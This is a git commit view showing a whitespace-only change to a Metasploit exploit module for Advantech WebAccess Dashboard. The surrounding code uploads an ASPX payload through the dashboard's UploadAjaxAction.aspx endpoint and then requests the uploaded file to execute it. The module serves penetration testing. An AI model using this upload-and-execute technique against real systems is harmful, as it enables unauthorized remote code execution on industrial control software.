Update advantech_webaccess_dashboard_file_upload.rb

bug/bundler_fix
504137480 2016-04-17 21:23:45 +08:00
parent ab9e988dd4
commit ae23da39b8
1 changed files with 1 additions and 1 deletions

View File

@ -90,6 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote
data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
data.add_part(aspx, nil, nil, "form-data; name=\"file\"; filename=\"#{file_name}\"")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('WADashboard','ajax','UploadAjaxAction.aspx'),
@ -104,7 +105,6 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::UnexpectedReply, "#{peer} - Payload uploaded failed")
end
print_status("#{peer} - Executing payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('WADashboard',file_name),